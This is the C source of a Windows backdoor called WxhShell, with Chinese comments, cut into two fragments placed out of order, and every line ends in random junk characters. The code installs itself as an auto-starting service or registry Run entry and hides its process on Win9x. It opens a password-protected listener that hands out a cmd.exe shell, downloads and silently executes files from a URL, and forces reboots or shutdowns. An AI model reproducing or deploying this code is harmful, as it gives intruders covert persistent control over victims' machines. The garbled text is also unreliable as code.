    if(Boot(SHUTDOWN)) Ok|*!!T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8hu<E4]L  
    else { sQ=]NF)\  
    closesocket(wsh); hB "fhX  
    ExitThread(0); tWJZoD6}h  
    } 2POXj!N  
    break; 44gPCW,u  
    } v:f}XK<  
  // 获取shell ]%hn`ZJ  
  case 's': { wVX[)E\J  
    CmdShell(wsh); 9eGyyZg  
    closesocket(wsh); 4qO+_!x{)  
    ExitThread(0); 6w*dKInG[-  
    break; x/NfZ5e0X  
  } y0{u<"t%w  
  // 退出 #pT"BSz]  
  case 'x': { c' ^?/$H|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wu7Lk3  
    CloseIt(wsh); srPWE^&  
    break; yg `j-9[8  
    } {}>0e:51  
  // 离开 NvD7Krqwa  
  case 'q': { Qk0R a_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V3 9g,=`b%  
    closesocket(wsh); Y#]+Tm (+  
    WSACleanup(); -j+UMlkB  
    exit(1); 4~ q5,^kgB  
    break; [^R^8k  
        } b[sx_b  
  } XtXEB<4Z  
  } 8Ry3`ct  
&x=.$76  
  // 提示信息 i)o2klIkB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7yG#Z)VE  
} zbXI%  
  } uX"H4l O~  
}'5MK  
  return; dWM'fg  
} *!4Z#Y  
szb_*)k  
// shell模块句柄 i#&z2h-b  
int CmdShell(SOCKET sock) >] qc-{>&  
{ &)YQvTzs  
STARTUPINFO si; ^Xuvy{TkPH  
ZeroMemory(&si,sizeof(si)); Htay-PB }  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ynmWW^dg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <>n0arAn  
PROCESS_INFORMATION ProcessInfo; >Y&N8PHD  
char cmdline[]="cmd"; wc0jhHZO ?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IrR7"`.i  
  return 0; }^4Xv^dW>g  
} @y e4q.m  
G[B=>Cy  
// 自身启动模式 V("{)0~O  
int StartFromService(void) T!-\@PB !  
{ @*F"Q1 wI  
typedef struct Vmc5IPd{\  
{ hv)x=e<  
  DWORD ExitStatus; 00<cYy  
  DWORD PebBaseAddress; Y_Eb'*PY  
  DWORD AffinityMask; wGU*:k7p  
  DWORD BasePriority; Hj'xAtx5  
  ULONG UniqueProcessId; _ftI*ni:<  
  ULONG InheritedFromUniqueProcessId; R]Vt Y7}i,  
}   PROCESS_BASIC_INFORMATION; z(o,m3@v  
O ~(pg  
PROCNTQSIP NtQueryInformationProcess; !ds"9w  
5(Cl1Yse=r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JHW "-b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zvhsyz|  
JBD7h5|Lc  
  HANDLE             hProcess; _geWE0 E  
  PROCESS_BASIC_INFORMATION pbi; #ml S}~n  
Hh%I0#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Xk:OL,c  
  if(NULL == hInst ) return 0; _G_Cj{w  
lackB2J9 A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?42<J%p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TSA,WP\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KMt`XaC9e  
B6=ebM`q  
  if (!NtQueryInformationProcess) return 0; ,c$,!.r  
rjl`&POqc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?J' Y&  
  if(!hProcess) return 0; a! (4Ch  
v.\*./-i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -Bt k 3  
+[Dj5~V  
  CloseHandle(hProcess); +_7*iJtD5  
~)*,S^k(C.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `{4i)n%e&  
if(hProcess==NULL) return 0; gwNq x"  
z _g~  
HMODULE hMod; ^m L@e'r  
char procName[255]; 3sc+3-TF  
unsigned long cbNeeded; OL5v).Bb  
T} `x-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y@]_+2Vo  
wWgWWXGT}  
  CloseHandle(hProcess); }L &^xe  
X#d~zk[r2  
if(strstr(procName,"services")) return 1; // 以服务启动 J2d.f}-  
s.EI`*xylY  
  return 0; // 注册表启动 yH7F''O7  
} -VZ-<\uH  
c~6>1w7SZ4  
// 主模块 nvca."5y  
int StartWxhshell(LPSTR lpCmdLine) -HQQw$  
{ z,|r*\dw  
  SOCKET wsl; KjV:|  
BOOL val=TRUE; g! cUF+  
  int port=0; R{RwTN<  
  struct sockaddr_in door; ^*S ,xP  
wU8Mt#D!  
  if(wscfg.ws_autoins) Install(); ADZ};:]  
~a%Z;Aj  
port=atoi(lpCmdLine); ~7Y+2FZ  
V=)_yIS  
if(port<=0) port=wscfg.ws_port; jN e`;o  
l|xZk4@_uE  
  WSADATA data; _a_7,bk5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QFfK0X8cC  
Q*~LCtrI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W egtyO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z,`iO %W  
  door.sin_family = AF_INET; -8'C\R|J+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0?sRDYaX;c  
  door.sin_port = htons(port); aHlcfh9|  
nJbtS#`G4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Cv }Qwy  
closesocket(wsl); "~`I::'c  
return 1; Z.d 7U~_  
} ekI2icD  
- *F(7$  
  if(listen(wsl,2) == INVALID_SOCKET) { Kqun^"Df  
closesocket(wsl);  R=.4  
return 1;  zG+R5:  
} 4!$s}V=6  
  Wxhshell(wsl); za#s/b$[  
  WSACleanup(); "mX\&%i6\p  
~SQ?BoCI[  
return 0; %509\;el  
V7#Ffi  
} 6W@UJx}w5  
L{:9Cx!F  
// 以NT服务方式启动 Tskq)NU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u83J@nDQ  
{ dlU'2Cl7d  
DWORD   status = 0; ur*T%b9&  
  DWORD   specificError = 0xfffffff; (E/lIou  
Fd?"-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 17D"cP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A3vUPWdDk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tcI}Ca>u  
  serviceStatus.dwWin32ExitCode     = 0; x2@U.r"zo  
  serviceStatus.dwServiceSpecificExitCode = 0; 0_k '.5l%  
  serviceStatus.dwCheckPoint       = 0; 'jmTXWq*  
  serviceStatus.dwWaitHint       = 0; "dsU>3u  
} $uxJB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZPc@Zr`z  
  if (hServiceStatusHandle==0) return; Wf>zDW^"R  
: k7uGD  
status = GetLastError(); 6`!Fv-  
  if (status!=NO_ERROR) ^BUYjq%(`  
{ c;{Q,"9U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \2nUa ;  
    serviceStatus.dwCheckPoint       = 0; Q F-LU  
    serviceStatus.dwWaitHint       = 0; UUF ;p2{f  
    serviceStatus.dwWin32ExitCode     = status; ub7zA!%  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q s.pGi0W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [(o7$i29|%  
    return; h\7fp.  
  } ~)qtply  
qud\K+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GFfq+=se  
  serviceStatus.dwCheckPoint       = 0; o]Ol8I  
  serviceStatus.dwWaitHint       = 0; "oWwc zzO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MepuIh  
} !icT/5  
{*[\'!d--.  
// 处理NT服务事件,比如:启动、停止 994` ua+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %Rz&lh/  
{ 9m|kgY# 4  
switch(fdwControl) p`nPhk,:b  
{ ;2@BO-3K  
case SERVICE_CONTROL_STOP: Vm5c+;  
  serviceStatus.dwWin32ExitCode = 0; Qd=^S^}(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V?Z.\~  
  serviceStatus.dwCheckPoint   = 0; $KUo s+%  
  serviceStatus.dwWaitHint     = 0; qP2ekI:y  
  { 7a#4tqM#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )foq),2  
  } hdnTXs@z  
  return; ET_W-  
case SERVICE_CONTROL_PAUSE: 4Y,R-+f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _2k]3z?  
  break; 1^ _U;O:I  
case SERVICE_CONTROL_CONTINUE: iv?gZg   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4 SHU  
  break; 8 %%f%y  
case SERVICE_CONTROL_INTERROGATE: fLDg~;3  
  break; &=<x#h-  
}; g8Q5m=O*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Gu%U$d  
} BYTnrPA&Z;  
<c)+Fno[E_  
// 标准应用程序主函数 :@1eph0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @Ys!DScY,  
{ !FA# K8  
L f"i !  
// 获取操作系统版本 c~{9a_G  
OsIsNt=GetOsVer(); {~h*2n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s <   
W?0 lV5/  
  // 从命令行安装 YoN*:jB<M  
  if(strpbrk(lpCmdLine,"iI")) Install(); bV edFm  
P~s$EJL*  
  // 下载执行文件 U7!.,kR-  
if(wscfg.ws_downexe) { !O.[PH(,*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -RO7 'm0  
  WinExec(wscfg.ws_filenam,SW_HIDE); *<E]E?  
} 'xhcuVl  
/" ${$b{  
if(!OsIsNt) { 1x @qkL6  
// 如果时win9x,隐藏进程并且设置为注册表启动 1z&Ly3  
HideProc(); cTD!B% x  
StartWxhshell(lpCmdLine); uC8L\UXk  
} CbPuoOl  
else K =C!b?  
  if(StartFromService()) oY1';&BO9  
  // 以服务方式启动 '"?C4mbSl  
  StartServiceCtrlDispatcher(DispatchTable); '"<6.,Ae  
else =Zu^80/  
  // 普通方式启动 V[}4L| ad  
  StartWxhshell(lpCmdLine); >N;F8v  
Ypeiy `.  
return 0; U~} U\_  
} nSF``pp+  
uch>AuF:  
PqyA1  
UA4J>1 i  
=========================================== B3H|+  
/;7y{(o  
;<$H)`*  
!/^-;o7  
7_.11$E=H  
,g7.rEA  
" a-"k/P#  
i^_#%L  
#include <stdio.h> q}/WQ]p} <  
#include <string.h> uKz,SqX  
#include <windows.h> i `s|,"0o  
#include <winsock2.h> e$u4vC~  
#include <winsvc.h> c&X{dJWD   
#include <urlmon.h> o\88t){/kB  
 *[r!  
#pragma comment (lib, "Ws2_32.lib") L lw&& K  
#pragma comment (lib, "urlmon.lib") %/c+`Wd/l$  
b+6"#/s  
#define MAX_USER   100 // 最大客户端连接数 {&P FXJ  
#define BUF_SOCK   200 // sock buffer ?Zc"C  
#define KEY_BUFF   255 // 输入 buffer Rx*BwZ  
`%E8-]{uS  
#define REBOOT     0   // 重启 >_c5r?]SG  
#define SHUTDOWN   1   // 关机 P+!"wX0*N  
i]=&  
#define DEF_PORT   5000 // 监听端口 KjFK/Og.  
Ti2Ls5H}  
#define REG_LEN     16   // 注册表键长度 `} m Q  
#define SVC_LEN     80   // NT服务名长度 v?0r`<Mn  
&-czStQ  
// 从dll定义API kdxz!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WYIQE$SEv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sK"9fU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yf?h#G%24  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -*~CV:2iq-  
RrhT'':[  
// wxhshell配置信息 :d0Y%vl  
struct WSCFG { /wxE1][.  
  int ws_port;         // 监听端口 DbZ0e5  
  char ws_passstr[REG_LEN]; // 口令 7R3fqU.Rq  
  int ws_autoins;       // 安装标记, 1=yes 0=no PN$X N<  
  char ws_regname[REG_LEN]; // 注册表键名 osOVg0Gyj  
  char ws_svcname[REG_LEN]; // 服务名 =\,uy8HX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zP:cE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FYb34LY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W(25TbQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 65oWD-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zOHypazOTq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v}sY|p"  
|+:h|UIUQ  
}; y8s!M  
[3W*9j  
// default Wxhshell configuration ;uqx@sx ;  
struct WSCFG wscfg={DEF_PORT, `:wvh(  
    "xuhuanlingzhe", aZet0?Qr  
    1, Aj9Ji"18za  
    "Wxhshell", x$wd O  
    "Wxhshell", ~"lJ'&J}  
            "WxhShell Service", v[TYc:L=  
    "Wrsky Windows CmdShell Service", ~1*A  
    "Please Input Your Password: ", !mRx$ %ul  
  1, q8Nn%o=5V  
  "http://www.wrsky.com/wxhshell.exe", \ A%eG&  
  "Wxhshell.exe" -/ x W  
    }; uNHdpni  
!)qQbk  
// 消息定义模块 e8h,,:l3j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '~ 4pl0TWc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T"T;`y@(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1AHx"e,;L  
char *msg_ws_ext="\n\rExit."; g7CXlT0Q6  
char *msg_ws_end="\n\rQuit."; /<&h@$NHH4  
char *msg_ws_boot="\n\rReboot..."; ?\/qeGW6G  
char *msg_ws_poff="\n\rShutdown..."; 1^dJg8  
char *msg_ws_down="\n\rSave to "; _TUt9}  
$&Kq*m 0g  
char *msg_ws_err="\n\rErr!"; P F`rWw  
char *msg_ws_ok="\n\rOK!";  :Pq.,s  
659v\51*  
char ExeFile[MAX_PATH]; 1/ZR*f a  
int nUser = 0; 3ta$L"a  
HANDLE handles[MAX_USER]; mPPk )qy  
int OsIsNt; ~=&t0D  
85IMdZ7I  
SERVICE_STATUS       serviceStatus; #.5vC5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y/? &pKH^  
SQWafD  
// 函数声明 .> Z,uT^A  
int Install(void); 3Z>YV]YbeU  
int Uninstall(void); JI|6B  
int DownloadFile(char *sURL, SOCKET wsh); w %c  
int Boot(int flag); maSgRf[g  
void HideProc(void); 'P laMOy  
int GetOsVer(void); 4'Xgk8)  
int Wxhshell(SOCKET wsl); C;Ic  
void TalkWithClient(void *cs); J$9:jE-4  
int CmdShell(SOCKET sock); u/Fj'*M  
int StartFromService(void); V &Mf:@y  
int StartWxhshell(LPSTR lpCmdLine); .5> 20\b2  
Nf9fb?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y69J%/c ra  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P2 0|RvE  
?@R")$  
// 数据结构和表定义 p|XAlia  
SERVICE_TABLE_ENTRY DispatchTable[] = 8I+d)(:  
{ g):]'  
{wscfg.ws_svcname, NTServiceMain}, ?Qqd "=k4  
{NULL, NULL} va|rO#.=  
}; {13!vS%5  
Vv*NFJ|  
// 自我安装 n&-496H  
int Install(void) *~z#.63oZ  
{ DB`QsiC)  
  char svExeFile[MAX_PATH]; zzZg$9PT[  
  HKEY key; ]M,06P>?  
  strcpy(svExeFile,ExeFile); wH"kk4^  
XTqm]  
// 如果是win9x系统,修改注册表设为自启动 kGN||h  
if(!OsIsNt) { pKJK9@Ad  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 49 }{R/:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DFe;4BdC  
  RegCloseKey(key); TSL9ax4j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Psa@@'w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); znZ7*S >6\  
  RegCloseKey(key); ~# 7wdP  
  return 0; uCzii o`S  
    } UQd6/mD`e  
  } O.k \]'  
} zuL7%qyv  
else { , fb( WY  
N dR ]  
// 如果是NT以上系统,安装为系统服务 r$nkU4N'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W7UtA.2LT  
if (schSCManager!=0) FA>1x*;c  
{ 6J%iZ  
  SC_HANDLE schService = CreateService u/AT-e r;  
  ( |V`S >m%N  
  schSCManager, ]UNZd/hIL  
  wscfg.ws_svcname, X;fy\HaU  
  wscfg.ws_svcdisp, @qK<T  
  SERVICE_ALL_ACCESS, ilEi")b=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ARL  
  SERVICE_AUTO_START, }uX|5&=~f  
  SERVICE_ERROR_NORMAL, Rt= X% [YL  
  svExeFile, J(h3]J/Yw  
  NULL, 2HOe__Ns  
  NULL, M?o{STt  
  NULL, 9 Aivf+  
  NULL, "dN < i  
  NULL [{F%LRCo-  
  ); %!.M~5mCd  
  if (schService!=0) t 6u-G+}  
  { ~v: #zU  
  CloseServiceHandle(schService); {^&@g kYY  
  CloseServiceHandle(schSCManager);  pbB2wt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \~"#ld(x7  
  strcat(svExeFile,wscfg.ws_svcname); : d'65KMi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [}""@?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dc^Vc{26Z  
  RegCloseKey(key); }. %s xw  
  return 0; 9NIy#  
    } & 5 <**  
  } B.-A $/  
  CloseServiceHandle(schSCManager); 2mJ:c  
} mf4z?G@6  
} ` %' z  
o+)A'S  
return 1; /)1v9<vM"  
} kl{6]39  
(zah890//  
// 自我卸载 (5Ky6b9v  
int Uninstall(void) r7X D&Y  
{ INLf#  N  
  HKEY key; k\(4sY M  
=g0*MZ;"  
if(!OsIsNt) { tSw>@FM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G.VYp6)5  
  RegDeleteValue(key,wscfg.ws_regname); rycJyiw<-  
  RegCloseKey(key); &X w`T9<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %F$N#YG  
  RegDeleteValue(key,wscfg.ws_regname); Xu<FDjr  
  RegCloseKey(key); Pc4R!Tc  
  return 0; :Kay$r0+  
  } :QA@ c|(PF  
} oMTY)`me  
} Ve:&'~F2 s  
else { PHkDb/HIx|  
SL*DK.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E*4t8  
if (schSCManager!=0) /Nqrvy=  
{ OLFt;h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lS{4dvr?w  
  if (schService!=0) `Yogq)G}  
  { -c$z 2Q)  
  if(DeleteService(schService)!=0) { ]I XAucI]  
  CloseServiceHandle(schService); eJf>"IF-  
  CloseServiceHandle(schSCManager); , ,{6m d  
  return 0; %<S7  
  } -><QFJ  
  CloseServiceHandle(schService); ;qVG \wQq  
  } ~|=rwDBZ8l  
  CloseServiceHandle(schSCManager); R"Y?iZed3  
} 8dV=1O$ /  
} GEi MmH?  
b3^R,6]x&  
return 1; LY1KQuY  
} ftW{C1,U7  
+G\0L_B  
// 从指定url下载文件 M 5rwoyn  
int DownloadFile(char *sURL, SOCKET wsh) (+$ol'i  
{ \6c8z/O7   
  HRESULT hr; ) :}Fu  
char seps[]= "/"; w&+\Wo;([b  
char *token; j/`Up  
char *file; US]"4=Zm  
char myURL[MAX_PATH]; 49y *xMn  
char myFILE[MAX_PATH]; 7BrV<)ih{*  
~GYpa t  
strcpy(myURL,sURL); G* Ib^;$u  
  token=strtok(myURL,seps); |)';CBb  
  while(token!=NULL) 4d6% t2  
  { DrV0V .t,  
    file=token; |?|K\UF(Y  
  token=strtok(NULL,seps); 6#?NL ]A  
  } b7qnO jC  
Ix4jof6(  
GetCurrentDirectory(MAX_PATH,myFILE); sVlZNj9i"  
strcat(myFILE, "\\"); xrX?ZJ  
strcat(myFILE, file); E.4n}s  
  send(wsh,myFILE,strlen(myFILE),0); B^Bbso'{1  
send(wsh,"...",3,0); d"p2Kx'*3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I<9n(rA  
  if(hr==S_OK) _H/67dcz,  
return 0; J(&Gmk9&  
else S].Ft/+H  
return 1; !}j,TPpG  
"h`54 }0  
} # s,Y% Bce  
_p$"NNFN  
// 系统电源模块 HcDyD0;L.  
int Boot(int flag) t0I>5#*WU  
{ lxCX-a`@p  
  HANDLE hToken; K#iK6)tS  
  TOKEN_PRIVILEGES tkp; #EEG>M*xB  
VEr 6uvB  
  if(OsIsNt) { kkHTbn=!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t{[gKV-b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7s$6XO!  
    tkp.PrivilegeCount = 1; QQSH +  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &s2#1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0K`ZX&K?W  
if(flag==REBOOT) { B>ge, }{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L;nZ0)@@l  
  return 0; EK:Y2WZ  
} p5D5%B/  
else { $]Rl__;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L;4[ k;5  
  return 0; J]$er0`LY  
} )Xq@v']%~9  
  } HgS<Vxmq  
  else { 65;|cmjv  
if(flag==REBOOT) { 4LJ]l:m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8Yo-~,Gb  
  return 0; Q*,6X*W!~  
} u~ Vs wXc4  
else { zZ<ns+h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D l4d'&!  
  return 0; 0P3j+? N%  
} -??!@R7V  
} <[/PyNYK  
]VzqQ=U%  
return 1; HDa~7wE  
} l@~1CMyN  
r94j+$7  
// win9x进程隐藏模块 Y1m}@k,+M  
void HideProc(void) |R[v@c`pn  
{ J2)-cY5G  
d'x<- l9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xYT#!K1*  
  if ( hKernel != NULL ) &e/@yu)x,  
  { AB/,S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FGV}5L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ',L{CQA?c  
    FreeLibrary(hKernel); s$js5 ou  
  } k, $I59  
4!NfQk>X  
return; J(3gT }z-  
} T_(qN;_  
*(@L+D0N  
// 获取操作系统版本 i#CaKS  
int GetOsVer(void) jc${.?m  
{ ._8xY$l$  
  OSVERSIONINFO winfo; dM$N1DB{U+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j|3g(_v4W  
  GetVersionEx(&winfo); o+]Y=r2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CpUI|Rs  
  return 1; g5lmUKlQ$0  
  else ^zBjG/'7  
  return 0; bE VO<x+  
} '*o7_Ez-{  
.Z(S4wV  
// 客户端句柄模块 stf,<W  
int Wxhshell(SOCKET wsl) N1D6D$s0  
{ 8o*\W$K@  
  SOCKET wsh; 5KL9$J9k  
  struct sockaddr_in client; <^H1)=tlF  
  DWORD myID; 3bT6W, J4T  
[[";1l  
  while(nUser<MAX_USER) OqEg{o5 a&  
{ < fojX\}3  
  int nSize=sizeof(client); Fw(b1d>E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZXF AuF  
  if(wsh==INVALID_SOCKET) return 1; &:!ZT=  
t(Q&H!~e   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c9Y2eetO  
if(handles[nUser]==0) mB{&7Rb0  
  closesocket(wsh); { r< (t#  
else : ;E7+m  
  nUser++; [4K9|/J  
  } <3i4NXnL2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >N+bU{s  
2b 6? 9FX*  
  return 0; ``2QOu 1  
} _IQU<Za  
fPh}l  
// 关闭 socket ::3iXk)  
void CloseIt(SOCKET wsh) Q:-%3)g<<  
{ Dz"u8 f  
closesocket(wsh); ? 6yF{!F*  
nUser--; PV,kYM6  
ExitThread(0); y V 9]_k  
} Z@>=&  
7G<KrKal  
// 客户端请求句柄 I]uOMWZs  
void TalkWithClient(void *cs) (<d&BV-"  
{ 5 WN`8?  
. Ce&9l  
  SOCKET wsh=(SOCKET)cs; J1gEjd   
  char pwd[SVC_LEN]; %2rHvF=  
  char cmd[KEY_BUFF]; =sUl`L+w,L  
char chr[1]; lRa 3v Ng  
int i,j; c&| '3i+  
. BYKdxa  
  while (nUser < MAX_USER) { d'Ik@D]I  
+q`rz  
if(wscfg.ws_passstr) { t+W=2w&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TQOg~lH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S:2u3th7  
  //ZeroMemory(pwd,KEY_BUFF); /el["l  
      i=0; B"?+5A7  
  while(i<SVC_LEN) { !i~x"1  
}rj C_q  
  // 设置超时 #x4h_K Y  
  fd_set FdRead; ?[hy|r6$  
  struct timeval TimeOut; /P?|4D}<  
  FD_ZERO(&FdRead); oPBg+Bh*  
  FD_SET(wsh,&FdRead); yKe*<\  
  TimeOut.tv_sec=8; s{1Deek=  
  TimeOut.tv_usec=0; `PQ?8z|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); niBjq#bJi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |%2/I>o  
9QX ~a X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )$l9xx[  
  pwd=chr[0]; OW63^wA`s  
  if(chr[0]==0xd || chr[0]==0xa) { pjKl)q  
  pwd=0; [6&CloY3  
  break; OUIUgej  
  } m! '1$G  
  i++; %X0NHta ~@  
    } l~Ie#vak  
9A* ?E  
  // 如果是非法用户,关闭 socket 90y9~.v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z 1#0  
} /]MB6E7&  
#pDGaqeX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n }9Msen  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gvTOC F  
iX>!ju'V  
while(1) { D_ Bx>G9  
O%fp;Y{`  
  ZeroMemory(cmd,KEY_BUFF); |$SvD2^  
$_URXI  
      // 自动支持客户端 telnet标准   :9!0 Rm  
  j=0; 9pl_V WrQ  
  while(j<KEY_BUFF) { 4I:JaRT d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O yH!V&w  
  cmd[j]=chr[0]; @F3-Ugm  
  if(chr[0]==0xa || chr[0]==0xd) { Qa7S'(  
  cmd[j]=0; cyHak u+  
  break; WFeMr%Zqh>  
  } ${I@YSU  
  j++; #<tWYE  
    } jL7MmR#y5"  
S$lmEJ_  
  // 下载文件 eUKl Co  
  if(strstr(cmd,"http://")) { rjpafGCp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OFQi&/  
  if(DownloadFile(cmd,wsh)) ]"7DV3_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yhkQFB%gv  
  else _/sf@R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CSX$Pk*  
  } H/@M  
  else { "$V8y  
&x0TnW"g  
    switch(cmd[0]) { ?CT^Zegmr  
  n6!Ihip$  
  // 帮助 ssr)f8R#,#  
  case '?': { CI~;B  
